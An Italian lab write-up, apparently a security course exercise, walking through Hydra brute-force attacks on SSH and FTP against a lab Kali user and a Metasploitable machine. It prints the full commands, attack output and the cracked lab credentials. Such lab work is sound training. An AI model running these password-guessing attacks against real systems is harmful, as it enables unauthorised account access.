

## Authentication cracking con Hydra

La traccia di oggi ci chiedeva di provare il tool hydra per fare cracking delle username e delle password prima di un nuovo utente kali appena creato e successivamente della macchina meta.

### Creazione nuovo utente kali e test connessione SSH

Come prima cosa andiamo ad attivare il servizio SSH con il comando **sudo service ssh start**.

Ora creiamo un altro utente su Kali con il comando **sudo adduser** rinominiamo quest'utente **test\_user** gli diamo come password **testpass**. Quindi per testare che la nostra connessione SSH sia avvenuta con successo usiamo il comando **ssh test\_user@(IP\_kali)**. Come vediamo ci appare la shell del nuovo utente questo significa che la connessione è avvenuta con successo.

```
(kali@kali)-[~]
$ sudo service ssh start
[sudo] password for kali:

(kali@kali)-[~]
$ ssh test_user@192.168.90.10
The authenticity of host '192.168.90.10 (192.168.90.10)' can't be established.
ED25519 key fingerprint is SHA256:zupN+vCQVIF2sszHacjzPJroyZpUXReZf9UzA8NH0Z4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.90.10' (ED25519) to the list of known hosts.
test_user@192.168.90.10's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

## Cracking Authentication con hydra da Kali a Kali

Una volta appurato che la connessione SSH è avvenuta con successo possiamo Cracking Authentication con hydra in questo caso lo facciamo dal nostro utente kali verso l'utente appena creato. Il comando da lanciare è **hydra -l test\_user -P /usr/share/seclists/Passwords/password\_mie 192.168.90.10 -t4 ssh -V**. Commentiamo il comando: **-l** = userà l'username riportato di seguito; **-P** con questo comando si possono usare un elenco di password (con **-L** questo è possibile anche con gli username), la traccia ci chiedeva di usare un file scaricato precedentemente da seclists io per risparmiare tempo ne ho creato un mio più piccolo (**password\_mie**); **IP del target**; **-T4** = task che hydra compie contemporaneamente (per l'SSH va impostato **-T4** di default è **-T16**); **ssh** = protocollo con cui svolgere il craking; **-V** = per controllare in live i tentativi. Come si può vedere dopo una serie di tentativi riusciremo poi ad entrare con la password e l'username.

```
(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/password_mie 192.168.90.10 -t4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:33:07
[DATA] max 4 tasks per 1 server, overall 4 tasks, 28 login tries (l:1/p:28), ~7 tries per task
[DATA] attacking ssh://192.168.90.10:22/
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "test" - 1 of 28 [child 0] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "bailey" - 2 of 28 [child 1] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "qlw2e3r4t5" - 3 of 28 [child 2] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "patrick" - 4 of 28 [child 3] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "internet" - 5 of 28 [child 1] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "scooter" - 6 of 28 [child 0] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "orange" - 7 of 28 [child 2] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "11111" - 8 of 28 [child 3] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "golfer" - 9 of 28 [child 1] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "cookie" - 10 of 28 [child 0] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "richard" - 11 of 28 [child 3] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "samantha" - 12 of 28 [child 2] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "bigdog" - 13 of 28 [child 1] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "guitar" - 14 of 28 [child 3] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "jackson" - 15 of 28 [child 2] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "whatever" - 16 of 28 [child 1] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "mickey" - 17 of 28 [child 0] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "testpass" - 18 of 28 [child 3] (0/0)
[ATTEMPT] target 192.168.90.10 - login "test_user" - pass "chicken" - 19 of 28 [child 2] (0/0)
[22][ssh] host: 192.168.90.10 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:33:19
```

Ho poi provato il cracking con un altro protocollo(FTP), in questo caso il -T non va specificato andrà bene quello di default. Anche qui abbiamo riscontro positivo.

```
(kali@kali)-[/usr/share/seclists/Passwords]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/password_mie 192.168.90.101 -T ftp -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret
-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:54:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 29 login tries (l:1/p:29), ~2 tries per task
[DATA] attacking ftp://192.168.90.101:21/
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "test" - 1 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bailey" - 2 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "qlw2e3r4t5" - 3 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "patrick" - 4 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "internet" - 5 of 29 [child 4] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "scooter" - 6 of 29 [child 5] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "orange" - 7 of 29 [child 6] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "11111" - 8 of 29 [child 7] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "golfer" - 9 of 29 [child 8] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "cookie" - 10 of 29 [child 9] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "richard" - 11 of 29 [child 10] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "samantha" - 12 of 29 [child 11] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bigdog" - 13 of 29 [child 12] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "guitar" - 14 of 29 [child 13] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "jackson" - 15 of 29 [child 14] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "whatever" - 16 of 29 [child 15] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "mickey" - 17 of 29 [child 5] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "testpass" - 18 of 29 [child 7] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "chicken" - 19 of 29 [child 9] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "msfadmin" - 20 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "sparky" - 21 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "snoopy" - 22 of 29 [child 10] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "maverick" - 23 of 29 [child 6] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "phoenix" - 24 of 29 [child 4] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "camaro" - 25 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "sexy" - 26 of 29 [child 8] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "peanut" - 27 of 29 [child 11] (0/0)
[21][ftp] host: 192.168.90.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:54:27
```

## Cracking Authentication con hydra da Kali a Meta

La procedura per meta è praticamente la stessa ho cambiato solo l' IP su qui fare l' attacco e l' username(msfadmin).Anche qui ho avuto riscontro positivo dell' attacco.

```
(kali@kali)-[/usr/share/seclists/Passwords]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/passw 192.168.90.101 -T4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
nore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:01:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce t
[DATA] max 4 tasks per 1 server, overall 4 tasks, 29 login tries (l:1/p:29), ~8 tries per task
[DATA] attacking ssh://192.168.90.101:22/
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "test" - 1 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bailey" - 2 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "qlw2e3r4t5" - 3 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "patrick" - 4 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "internet" - 5 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "scooter" - 6 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "orange" - 7 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "11111" - 8 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "golfer" - 9 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "cookie" - 10 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "richard" - 11 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "samantha" - 12 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bigdog" - 13 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "guitar" - 14 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "jackson" - 15 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "whatever" - 16 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "mickey" - 17 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "testpass" - 18 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "chicken" - 19 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "msfadmin" - 20 of 29 [child 2] (0/0)
[22][ssh] host: 192.168.90.101 login: msfadmin password: msfadmin
[STATUS] 29.00 tries/min, 29 tries in 00:01h, 1 to do in 00:01h, 3 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:02:53
```

Ho anche provato l'attacco verso meta con un altro protocollo(FTP), anche qui il risultato è stato positivo.

```
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/password_mie 192.168.90.101 ftp -v
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret services
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:54:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 29 login tries (l:1/p:29), ~2 tries per task
[DATA] attacking ftp://192.168.90.101:21/
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "test" - 1 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bailey" - 2 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "qlw2e3r4t5" - 3 of 29 [child 2] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "patrick" - 4 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "internet" - 5 of 29 [child 4] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "scooter" - 6 of 29 [child 5] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "orange" - 7 of 29 [child 6] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "11111" - 8 of 29 [child 7] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "golfer" - 9 of 29 [child 8] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "cookie" - 10 of 29 [child 9] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "richard" - 11 of 29 [child 10] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "samantha" - 12 of 29 [child 11] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "bigdog" - 13 of 29 [child 12] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "guitar" - 14 of 29 [child 13] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "jackson" - 15 of 29 [child 14] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "whatever" - 16 of 29 [child 15] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "mickey" - 17 of 29 [child 5] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "testpass" - 18 of 29 [child 7] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "chicken" - 19 of 29 [child 9] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "msfadmin" - 20 of 29 [child 1] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "sparky" - 21 of 29 [child 3] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "snoopy" - 22 of 29 [child 10] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "maverick" - 23 of 29 [child 6] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "phoenix" - 24 of 29 [child 4] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "camaro" - 25 of 29 [child 0] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "sexy" - 26 of 29 [child 8] (0/0)
[ATTEMPT] target 192.168.90.101 - login "msfadmin" - pass "peanut" - 27 of 29 [child 11] (0/0)
[21][ftp] host: 192.168.90.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:54:27
```